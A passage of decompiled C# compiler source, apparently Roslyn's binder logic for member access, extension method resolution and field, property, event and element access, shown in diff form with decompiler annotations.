leftType, bool leftIsBaseReference, string rightName, int rightArity, bool invoked, ref CompoundUseSiteInfo useSiteInfo) + { + LookupOptions lookupOptions = LookupOptions.AllMethodsOnArityZero; + if (invoked) + { + lookupOptions |= LookupOptions.MustBeInvocableIfMember; + } + if (leftIsBaseReference) + { + lookupOptions |= LookupOptions.UseBaseReferenceAccessibility; + } + LookupMembersWithFallback(lookupResult, leftType, rightName, rightArity, ref useSiteInfo, null, lookupOptions); + } + + private void BindMemberAccessReportError(BoundMethodGroup node, BindingDiagnosticBag diagnostics) + { + SyntaxNode nameSyntax = node.NameSyntax; + SyntaxNode node2 = (SyntaxNode)(((object)node.MemberAccessExpressionSyntax) ?? ((object)nameSyntax)); + BindMemberAccessReportError(node2, nameSyntax, node.Name, node.ReceiverOpt, node.LookupError, diagnostics); + } + + private void BindMemberAccessReportError(SyntaxNode node, SyntaxNode name, string plainName, BoundExpression boundLeft, DiagnosticInfo lookupError, BindingDiagnosticBag diagnostics) + { + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + if (!boundLeft.HasAnyErrors || boundLeft.Kind == BoundKind.TypeOrValueExpression) + { + if (lookupError != null) + { + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic(lookupError, name.Location)); + } + else if (node.IsQuery()) + { + ReportQueryLookupFailed(node, boundLeft, plainName, ImmutableArray.Empty, diagnostics); + } + else if ((object)boundLeft.Type == null) + { + Error(diagnostics, ErrorCode.ERR_NoSuchMember, SyntaxNodeOrToken.op_Implicit(name), boundLeft.Display, plainName); + } + else if (boundLeft.Kind == BoundKind.TypeExpression || boundLeft.Kind == BoundKind.BaseReference || (node.Kind() == SyntaxKind.AwaitExpression && plainName == "GetResult")) + { + Error(diagnostics, ErrorCode.ERR_NoSuchMember, SyntaxNodeOrToken.op_Implicit(name), boundLeft.Type, plainName); + } + else if (WouldUsingSystemFindExtension(boundLeft.Type, plainName)) + { + Error(diagnostics, ErrorCode.ERR_NoSuchMemberOrExtensionNeedUsing, SyntaxNodeOrToken.op_Implicit(name), boundLeft.Type, plainName, "System"); + } + else + { + Error(diagnostics, ErrorCode.ERR_NoSuchMemberOrExtension, SyntaxNodeOrToken.op_Implicit(name), boundLeft.Type, plainName); + } + } + } + + private bool WouldUsingSystemFindExtension(TypeSymbol receiver, string methodName) + { + if (methodName == "GetAwaiter") + { + return ImplementsWinRTAsyncInterface(receiver); + } + return false; + } + + private bool ImplementsWinRTAsyncInterface(TypeSymbol type) + { + if (!IsWinRTAsyncInterface(type)) + { + return ImmutableArrayExtensions.Any(type.AllInterfacesNoUseSiteDiagnostics, (Func)((NamedTypeSymbol i, Binder self) => self.IsWinRTAsyncInterface(i)), this); + } + return true; + } + + private bool IsWinRTAsyncInterface(TypeSymbol type) + { + if (!type.IsInterfaceType()) + { + return false; + } + NamedTypeSymbol constructedFrom = ((NamedTypeSymbol)type).ConstructedFrom; + if (!TypeSymbol.Equals(constructedFrom, Compilation.GetWellKnownType((WellKnownType)187), (TypeCompareKind)0) && !TypeSymbol.Equals(constructedFrom, Compilation.GetWellKnownType((WellKnownType)188), (TypeCompareKind)0) && !TypeSymbol.Equals(constructedFrom, Compilation.GetWellKnownType((WellKnownType)189), (TypeCompareKind)0)) + { + return TypeSymbol.Equals(constructedFrom, Compilation.GetWellKnownType((WellKnownType)190), (TypeCompareKind)0); + } + return true; + } + + private BoundExpression BindMemberAccessBadResult(BoundMethodGroup node) + { + SyntaxNode nameSyntax = node.NameSyntax; + SyntaxNode node2 = (SyntaxNode)(((object)node.MemberAccessExpressionSyntax) ?? ((object)nameSyntax)); + return BindMemberAccessBadResult(node2, node.Name, node.ReceiverOpt, node.LookupError, StaticCast.From(node.Methods), node.ResultKind); + } + + private BoundExpression BindMemberAccessBadResult(SyntaxNode node, string nameString, BoundExpression boundLeft, DiagnosticInfo lookupError, ImmutableArray symbols, LookupResultKind lookupKind) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + if (symbols.Length > 0 && (int)symbols[0].Kind == 9) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is MethodSymbol methodSymbol) + { + instance.Add(methodSymbol); + } + } + ImmutableArray methods = instance.ToImmutableAndFree(); + return new BoundMethodGroup(node, default(ImmutableArray), nameString, methods, (methods.Length == 1) ? methods[0] : null, lookupError, BoundMethodGroupFlags.None, null, boundLeft, lookupKind, hasErrors: true); + } + Symbol symbol = ((symbols.Length == 1) ? symbols[0] : null); + return new BoundBadExpression(node, lookupKind, ((object)symbol == null) ? ImmutableArray.Empty : ImmutableArray.Create(symbol), (boundLeft == null) ? ImmutableArray.Empty : ImmutableArray.Create(BindToTypeForErrorRecovery(boundLeft)), GetNonMethodMemberType(symbol)); + } + + private TypeSymbol GetNonMethodMemberType(Symbol symbolOpt) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + TypeSymbol typeSymbol = null; + if ((object)symbolOpt != null) + { + SymbolKind kind = symbolOpt.Kind; + if ((int)kind != 5) + { + if ((int)kind != 6) + { + if ((int)kind == 15) + { + typeSymbol = ((PropertySymbol)symbolOpt).Type; + } + } + else + { + typeSymbol = ((FieldSymbol)symbolOpt).GetFieldType(FieldsBeingBound).Type; + } + } + else + { + typeSymbol = ((EventSymbol)symbolOpt).Type; + } + } + return typeSymbol ?? CreateErrorType(); + } + + private static void CombineExtensionMethodArguments(BoundExpression receiver, AnalyzedArguments originalArguments, AnalyzedArguments extensionMethodArguments) + { + extensionMethodArguments.IsExtensionMethodInvocation = true; + extensionMethodArguments.Arguments.Add(receiver); + extensionMethodArguments.Arguments.AddRange(originalArguments.Arguments); + if (originalArguments.Names.Count > 0) + { + extensionMethodArguments.Names.Add(((string, Location)?)null); + extensionMethodArguments.Names.AddRange(originalArguments.Names); + } + if (originalArguments.RefKinds.Count > 0) + { + extensionMethodArguments.RefKinds.Add((RefKind)0); + extensionMethodArguments.RefKinds.AddRange(originalArguments.RefKinds); + } + } + + private BoundExpression BindMemberOfType(SyntaxNode node, SyntaxNode right, string plainName, int arity, bool indexed, BoundExpression left, SeparatedSyntaxList typeArgumentsSyntax, ImmutableArray typeArgumentsWithAnnotations, LookupResult lookupResult, BoundMethodGroupFlags methodGroupFlags, BindingDiagnosticBag diagnostics) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Invalid comparison between Unknown and I4 + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Invalid comparison between Unknown and I4 + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Invalid comparison between Unknown and I4 + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Expected I4, but got Unknown + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Invalid comparison between Unknown and I4 + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Invalid comparison between Unknown and I4 + //IL_0134: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_01c1: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool wasError; + Symbol symbolOrMethodOrPropertyGroup = GetSymbolOrMethodOrPropertyGroup(lookupResult, right, plainName, arity, instance, diagnostics, out wasError, (left is BoundTypeExpression boundTypeExpression) ? boundTypeExpression.Type : null); + BoundExpression result; + if ((object)symbolOrMethodOrPropertyGroup == null) + { + result = ConstructBoundMemberGroupAndReportOmittedTypeArguments(node, typeArgumentsSyntax, typeArgumentsWithAnnotations, left, plainName, instance, lookupResult, methodGroupFlags, wasError, diagnostics); + } + else + { + left = ReplaceTypeOrValueReceiver(left, symbolOrMethodOrPropertyGroup.IsStatic || (int)symbolOrMethodOrPropertyGroup.Kind == 11, diagnostics); + SymbolKind kind = symbolOrMethodOrPropertyGroup.Kind; + if (((int)kind != 5 && (int)kind != 15) || 1 == 0) + { + ReportDiagnosticsIfObsolete(diagnostics, symbolOrMethodOrPropertyGroup, SyntaxNodeOrToken.op_Implicit(node), left.Kind == BoundKind.BaseReference); + } + kind = symbolOrMethodOrPropertyGroup.Kind; + switch (kind - 4) + { + default: + if ((int)kind != 11) + { + if ((int)kind == 15) + { + result = BindPropertyAccess(node, left, (PropertySymbol)symbolOrMethodOrPropertyGroup, diagnostics, lookupResult.Kind, wasError); + break; + } + throw ExceptionUtilities.UnexpectedValue((object)symbolOrMethodOrPropertyGroup.Kind); + } + goto case 0; + case 0: + { + if (IsInstanceReceiver(left) == true && !wasError) + { + Error(diagnostics, ErrorCode.ERR_BadTypeReference, SyntaxNodeOrToken.op_Implicit(right), plainName, symbolOrMethodOrPropertyGroup); + wasError = true; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)symbolOrMethodOrPropertyGroup; + if (!typeArgumentsWithAnnotations.IsDefault) + { + namedTypeSymbol = ConstructNamedTypeUnlessTypeArgumentOmitted(right, namedTypeSymbol, typeArgumentsSyntax, typeArgumentsWithAnnotations, diagnostics); + } + result = new BoundTypeExpression(node, null, left as BoundTypeExpression, ImmutableArray.Empty, TypeWithAnnotations.Create(namedTypeSymbol)); + break; + } + case 1: + result = BindEventAccess(node, left, (EventSymbol)symbolOrMethodOrPropertyGroup, diagnostics, lookupResult.Kind, wasError); + break; + case 2: + result = BindFieldAccess(node, left, (FieldSymbol)symbolOrMethodOrPropertyGroup, diagnostics, lookupResult.Kind, indexed, wasError); + break; + } + } + instance.Free(); + return result; + } + + protected MethodGroupResolution BindExtensionMethod(SyntaxNode expression, string methodName, AnalyzedArguments analyzedArguments, BoundExpression left, ImmutableArray typeArgumentsWithAnnotations, bool isMethodGroupConversion, RefKind returnRefKind, TypeSymbol returnType, bool withDependencies) + { + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_014f: Unknown result type (might be due to invalid IL or missing references) + //IL_0159: Unknown result type (might be due to invalid IL or missing references) + //IL_015e: Unknown result type (might be due to invalid IL or missing references) + //IL_0174: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + MethodGroupResolution result = default(MethodGroupResolution); + AnalyzedArguments analyzedArguments2 = null; + ExtensionMethodScopeEnumerator enumerator = new ExtensionMethodScopes(this).GetEnumerator(); + while (enumerator.MoveNext()) + { + ExtensionMethodScope current = enumerator.Current; + MethodGroup instance = MethodGroup.GetInstance(); + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies); + PopulateExtensionMethodsFromSingleBinder(current, instance, expression, left, methodName, typeArgumentsWithAnnotations, instance2); + if (analyzedArguments == null) + { + if (expression == EnclosingNameofArgument) + { + for (int num = instance.Methods.Count - 1; num >= 0; num--) + { + if ((object)instance.Methods[num].ReduceExtensionMethod(left.Type, Compilation) == null) + { + instance.Methods.RemoveAt(num); + } + } + } + if (instance.Methods.Count != 0) + { + return new MethodGroupResolution(instance, ((BindingDiagnosticBag)(object)instance2).ToReadOnlyAndFree()); + } + } + if (instance.Methods.Count == 0) + { + instance.Free(); + ((BindingDiagnosticBag)(object)instance2).Free(); + continue; + } + if (analyzedArguments2 == null) + { + analyzedArguments2 = AnalyzedArguments.GetInstance(); + CombineExtensionMethodArguments(left, analyzedArguments, analyzedArguments2); + } + OverloadResolutionResult instance3 = OverloadResolutionResult.GetInstance(); + bool allowRefOmittedArguments = instance.Receiver.IsExpressionOfComImportType(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(instance2); + OverloadResolution.MethodInvocationOverloadResolution(instance.Methods, instance.TypeArguments, instance.Receiver, analyzedArguments2, instance3, ref useSiteInfo, isMethodGroupConversion, allowRefOmittedArguments, inferWithDynamic: false, allowUnexpandedForm: true, returnRefKind, returnType, isFunctionPointerResolution: false, isExtensionMethodResolution: true, default(CallingConventionInfo)); + ((BindingDiagnosticBag)(object)instance2).Add(expression, useSiteInfo); + ImmutableBindingDiagnostic diagnostics = ((BindingDiagnosticBag)(object)instance2).ToReadOnlyAndFree(); + MethodGroupResolution methodGroupResolution = new MethodGroupResolution(instance, null, instance3, AnalyzedArguments.GetInstance(analyzedArguments2), instance.ResultKind, diagnostics); + if (methodGroupResolution.HasAnyApplicableMethod) + { + if (!result.IsEmpty) + { + result.MethodGroup.Free(); + result.OverloadResolutionResult.Free(); + } + return methodGroupResolution; + } + if (result.IsEmpty) + { + result = methodGroupResolution; + continue; + } + instance3.Free(); + instance.Free(); + } + analyzedArguments2?.Free(); + return result; + } + + private void PopulateExtensionMethodsFromSingleBinder(ExtensionMethodScope scope, MethodGroup methodGroup, SyntaxNode node, BoundExpression left, string rightName, ImmutableArray typeArgumentsWithAnnotations, BindingDiagnosticBag diagnostics) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + int arity = ((!typeArgumentsWithAnnotations.IsDefault) ? typeArgumentsWithAnnotations.Length : 0); + LookupResult instance = LookupResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupExtensionMethods(instance, scope, rightName, arity, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + if (instance.IsMultiViable) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + GetSymbolOrMethodOrPropertyGroup(instance, node, rightName, arity, instance2, diagnostics, out var _, null); + methodGroup.PopulateWithExtensionMethods(left, instance2, typeArgumentsWithAnnotations, instance.Kind); + instance2.Free(); + } + instance.Free(); + } + + private void LookupExtensionMethods(LookupResult lookupResult, ExtensionMethodScope scope, string rightName, int arity, ref CompoundUseSiteInfo useSiteInfo) + { + LookupOptions options = ((arity == 0) ? LookupOptions.AllMethodsOnArityZero : LookupOptions.Default); + LookupExtensionMethodsInSingleBinder(scope, lookupResult, rightName, arity, options, ref useSiteInfo); + } + + protected BoundExpression BindFieldAccess(SyntaxNode node, BoundExpression receiver, FieldSymbol fieldSymbol, BindingDiagnosticBag diagnostics, LookupResultKind resultKind, bool indexed, bool hasErrors) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0167: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + NamedTypeSymbol containingType = fieldSymbol.ContainingType; + bool flag2 = fieldSymbol.IsStatic && containingType.IsEnumType(); + if (flag2 && !containingType.IsValidEnumType()) + { + Error(diagnostics, ErrorCode.ERR_BindToBogus, SyntaxNodeOrToken.op_Implicit(node), fieldSymbol); + flag = true; + } + if (!flag) + { + flag = CheckInstanceOrStatic(node, receiver, fieldSymbol, ref resultKind, diagnostics); + } + if (!flag && fieldSymbol.IsFixedSizeBuffer && !IsInsideNameof) + { + TypeSymbol type = receiver.Type; + flag = (object)type == null || !type.IsValueType; + if (!flag) + { + bool flag3 = SyntaxFacts.IsFixedStatementExpression(node); + if (IsMoveableVariable(receiver, out var _) != flag3) + { + if (indexed) + { + CheckFeatureAvailability(node, MessageID.IDS_FeatureIndexingMovableFixedBuffers, diagnostics); + } + else + { + Error(diagnostics, flag3 ? ErrorCode.ERR_FixedNotNeeded : ErrorCode.ERR_FixedBufferNotFixed, SyntaxNodeOrToken.op_Implicit(node)); + hasErrors = (flag = true); + } + } + } + if (!flag) + { + flag = !CheckValueKind(node, receiver, BindValueKind.FixedReceiver, checkingReceiver: false, diagnostics); + } + } + ConstantValue val = null; + if (fieldSymbol.IsConst && !IsInsideNameof) + { + val = fieldSymbol.GetConstantValue(ConstantFieldsInProgress, IsEarlyAttributeBinder); + if (val == ConstantValue.Unset) + { + val = ConstantValue.Bad; + } + } + if (!fieldSymbol.IsStatic) + { + WarnOnAccessOfOffDefault(node, receiver, diagnostics); + } + if (!IsBadBaseAccess(node, receiver, fieldSymbol, diagnostics)) + { + CheckReceiverAndRuntimeSupportForSymbolAccess(node, receiver, fieldSymbol, diagnostics); + } + if ((object)Compilation.SourceModule != fieldSymbol.OriginalDefinition.ContainingModule && (int)fieldSymbol.RefKind != 0) + { + CheckFeatureAvailability(node, MessageID.IDS_FeatureRefFields, diagnostics); + if (!Compilation.Assembly.RuntimeSupportsByRefFields) + { + diagnostics.Add(ErrorCode.ERR_RuntimeDoesNotSupportRefFields, node.Location); + } + } + TypeSymbol type2 = fieldSymbol.GetFieldType(FieldsBeingBound).Type; + BoundExpression boundExpression = new BoundFieldAccess(node, receiver, fieldSymbol, val, resultKind, type2, hasErrors || flag); + if (InEnumMemberInitializer()) + { + NamedTypeSymbol namedTypeSymbol = null; + if (flag2) + { + namedTypeSymbol = containingType; + } + else if (val != (ConstantValue)null && type2.IsEnumType()) + { + namedTypeSymbol = (NamedTypeSymbol)type2; + } + if ((object)namedTypeSymbol != null) + { + NamedTypeSymbol enumUnderlyingType = namedTypeSymbol.EnumUnderlyingType; + boundExpression = new BoundConversion(node, boundExpression, Conversion.ImplicitNumeric, @checked: true, explicitCastInCode: false, null, boundExpression.ConstantValueOpt, enumUnderlyingType); + } + } + return boundExpression; + } + + private bool InEnumMemberInitializer() + { + NamedTypeSymbol containingType = ContainingType; + if (InFieldInitializer && (object)containingType != null) + { + return containingType.IsEnumType(); + } + return false; + } + + private BoundExpression BindPropertyAccess(SyntaxNode node, BoundExpression? receiver, PropertySymbol propertySymbol, BindingDiagnosticBag diagnostics, LookupResultKind lookupResult, bool hasErrors) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + ReportDiagnosticsIfObsolete(diagnostics, propertySymbol, SyntaxNodeOrToken.op_Implicit(node), receiver != null && receiver.Kind == BoundKind.BaseReference); + bool flag = CheckInstanceOrStatic(node, receiver, propertySymbol, ref lookupResult, diagnostics); + if (!propertySymbol.IsStatic) + { + WarnOnAccessOfOffDefault(node, receiver, diagnostics); + } + return new BoundPropertyAccess(node, receiver, ReceiverIsSubjectToCloning(receiver, propertySymbol), propertySymbol, lookupResult, propertySymbol.Type, hasErrors || flag); + } + + private void CheckReceiverAndRuntimeSupportForSymbolAccess(SyntaxNode node, BoundExpression receiverOpt, Symbol symbol, BindingDiagnosticBag diagnostics) + { + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Invalid comparison between Unknown and I4 + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Invalid comparison between Unknown and I4 + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Invalid comparison between Unknown and I4 + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = symbol.ContainingType; + if ((object)containingType == null || !containingType.IsInterface) + { + return; + } + if (symbol.IsStatic && (symbol.IsAbstract || symbol.IsVirtual)) + { + if (receiverOpt is BoundQueryClause boundQueryClause) + { + BoundExpression value = boundQueryClause.Value; + receiverOpt = value; + } + if (receiverOpt is BoundTypeExpression boundTypeExpression) + { + TypeSymbol type = boundTypeExpression.Type; + if ((object)type != null && (int)type.TypeKind == 11) + { + if (!Compilation.Assembly.RuntimeSupportsStaticAbstractMembersInInterfaces && Compilation.SourceModule != symbol.ContainingModule) + { + Error(diagnostics, ErrorCode.ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfaces, SyntaxNodeOrToken.op_Implicit(node)); + return; + } + goto IL_00b7; + } + } + Error(diagnostics, ErrorCode.ERR_BadAbstractStaticMemberAccess, SyntaxNodeOrToken.op_Implicit(node)); + return; + } + goto IL_00b7; + IL_00b7: + if (Compilation.Assembly.RuntimeSupportsDefaultInterfaceImplementation || !(Compilation.SourceModule != symbol.ContainingModule)) + { + return; + } + if (!symbol.IsStatic && !(symbol is TypeSymbol) && !symbol.IsImplementableInterfaceMember()) + { + Error(diagnostics, ErrorCode.ERR_RuntimeDoesNotSupportDefaultInterfaceImplementation, SyntaxNodeOrToken.op_Implicit(node)); + return; + } + Accessibility declaredAccessibility = symbol.DeclaredAccessibility; + if (declaredAccessibility - 2 <= 1 || (int)declaredAccessibility == 5) + { + Error(diagnostics, ErrorCode.ERR_RuntimeDoesNotSupportProtectedAccessForInterfaceMember, SyntaxNodeOrToken.op_Implicit(node)); + } + } + + private BoundExpression BindEventAccess(SyntaxNode node, BoundExpression receiver, EventSymbol eventSymbol, BindingDiagnosticBag diagnostics, LookupResultKind lookupResult, bool hasErrors) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + bool isUsableAsField = eventSymbol.HasAssociatedField && IsAccessible(eventSymbol.AssociatedField, ref useSiteInfo, receiver?.Type); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + bool flag = CheckInstanceOrStatic(node, receiver, eventSymbol, ref lookupResult, diagnostics); + if (!eventSymbol.IsStatic) + { + WarnOnAccessOfOffDefault(node, receiver, diagnostics); + } + return new BoundEventAccess(node, receiver, eventSymbol, isUsableAsField, lookupResult, eventSymbol.Type, hasErrors || flag); + } + + private static bool? IsInstanceReceiver(BoundExpression receiver) + { + if (receiver == null) + { + return false; + } + return receiver.Kind switch + { + BoundKind.PreviousSubmissionReference => null, + BoundKind.TypeExpression => false, + BoundKind.QueryClause => IsInstanceReceiver(((BoundQueryClause)receiver).Value), + _ => true, + }; + } + + private bool CheckInstanceOrStatic(SyntaxNode node, BoundExpression receiver, Symbol symbol, ref LookupResultKind resultKind, BindingDiagnosticBag diagnostics) + { + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + bool? flag = IsInstanceReceiver(receiver); + if (!symbol.RequiresInstanceReceiver()) + { + if (flag == true) + { + if (!IsInsideNameof) + { + ErrorCode code = (Flags.Includes(BinderFlags.ObjectInitializerMember) ? ErrorCode.ERR_StaticMemberInObjectInitializer : ErrorCode.ERR_ObjectProhibited); + Error(diagnostics, code, SyntaxNodeOrToken.op_Implicit(node), symbol); + } + else if (CheckFeatureAvailability(node, MessageID.IDS_FeatureInstanceMemberInNameof, diagnostics)) + { + return false; + } + resultKind = LookupResultKind.StaticInstanceMismatch; + return true; + } + } + else if (flag == false && !IsInsideNameof) + { + Error(diagnostics, ErrorCode.ERR_ObjectRequired, SyntaxNodeOrToken.op_Implicit(node), symbol); + resultKind = LookupResultKind.StaticInstanceMismatch; + return true; + } + return false; + } + + private Symbol GetSymbolOrMethodOrPropertyGroup(LookupResult result, SyntaxNode node, string plainName, int arity, ArrayBuilder methodOrPropertyGroup, BindingDiagnosticBag diagnostics, out bool wasError, NamespaceOrTypeSymbol qualifierOpt) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Invalid comparison between Unknown and I4 + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Invalid comparison between Unknown and I4 + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Invalid comparison between Unknown and I4 + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Invalid comparison between Unknown and I4 + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Invalid comparison between Unknown and I4 + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Invalid comparison between Unknown and I4 + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Invalid comparison between Unknown and I4 + node = (SyntaxNode)(((object)GetNameSyntax(node)) ?? ((object)node)); + wasError = false; + Symbol symbol = null; + Enumerator enumerator = result.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SymbolKind kind = current.Kind; + if (methodOrPropertyGroup.Count > 0) + { + SymbolKind kind2 = methodOrPropertyGroup[0].Kind; + if (kind2 != kind) + { + if ((int)kind2 == 9 || ((int)kind2 == 15 && (int)kind != 9)) + { + symbol = current; + continue; + } + symbol = methodOrPropertyGroup[0]; + methodOrPropertyGroup.Clear(); + } + } + if ((int)kind == 9 || (int)kind == 15) + { + methodOrPropertyGroup.Add(current); + } + else + { + symbol = current; + } + } + if (methodOrPropertyGroup.Count > 0 && IsMethodOrPropertyGroup(methodOrPropertyGroup) && ((int)methodOrPropertyGroup[0].Kind == 9 || (object)symbol == null)) + { + if (result.Error != null) + { + Error(diagnostics, result.Error, node); + wasError = (int)result.Error.Severity == 3; + } + return null; + } + methodOrPropertyGroup.Clear(); + return ResultSymbol(result, plainName, arity, node, diagnostics, suppressUseSiteDiagnostics: false, out wasError, qualifierOpt); + } + + private static bool IsMethodOrPropertyGroup(ArrayBuilder members) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + Symbol symbol = members[0]; + SymbolKind kind = symbol.Kind; + if ((int)kind != 9) + { + if ((int)kind == 15) + { + Enumerator enumerator = members.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (((PropertySymbol)enumerator.Current).IsIndexedProperty) + { + return true; + } + } + return false; + } + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + return true; + } + + private BoundExpression BindElementAccess(ElementAccessExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + BoundExpression receiver = BindExpression(node.Expression, diagnostics, invoked: false, indexed: true); + return BindElementAccess(node, receiver, node.ArgumentList, allowInlineArrayElementAccess: true, diagnostics); + } + + private BoundExpression BindElementAccess(ExpressionSyntax node, BoundExpression receiver, BracketedArgumentListSyntax argumentList, bool allowInlineArrayElementAccess, BindingDiagnosticBag diagnostics) + { + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + try + { + BindArgumentsAndNames(argumentList, diagnostics, instance); + if (receiver.Kind == BoundKind.PropertyGroup) + { + BoundPropertyGroup boundPropertyGroup = (BoundPropertyGroup)receiver; + return BindIndexedPropertyAccess((SyntaxNode)(object)node, boundPropertyGroup.ReceiverOpt, boundPropertyGroup.Properties, instance, diagnostics); + } + receiver = CheckValue(receiver, BindValueKind.RValue, diagnostics); + receiver = BindToNaturalType(receiver, diagnostics); + return BindElementOrIndexerAccess(node, receiver, instance, allowInlineArrayElementAccess, diagnostics); + } + finally + { + instance.Free(); + } + } + + private BoundExpression BindElementOrIndexerAccess(ExpressionSyntax node, BoundExpression expr, AnalyzedArguments analyzedArguments, bool allowInlineArrayElementAccess, BindingDiagnosticBag diagnostics) + { + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + if ((object)expr.Type == null) + { + return BadIndexerExpression((SyntaxNode)(object)node, expr, analyzedArguments, null, diagnostics); + } + WarnOnAccessOfOffDefault((SyntaxNode)(object)node, expr, diagnostics); + if (analyzedArguments.HasErrors || expr.HasAnyErrors) + { + diagnostics = BindingDiagnosticBag.Discarded; + } + bool flag = false; + if (allowInlineArrayElementAccess && !InAttributeArgument && !InParameterDefaultValue && expr.Type.HasInlineArrayAttribute(out var length)) + { + FieldSymbol fieldSymbol = expr.Type.TryGetPossiblyUnsupportedByLanguageInlineArrayElementField(); + if ((object)fieldSymbol != null) + { + flag = true; + if (analyzedArguments.Arguments.Count == 1) + { + WellKnownType indexOrRangeWellknownType; + BoundExpression boundExpression = tryImplicitConversionToInlineArrayIndex(node, 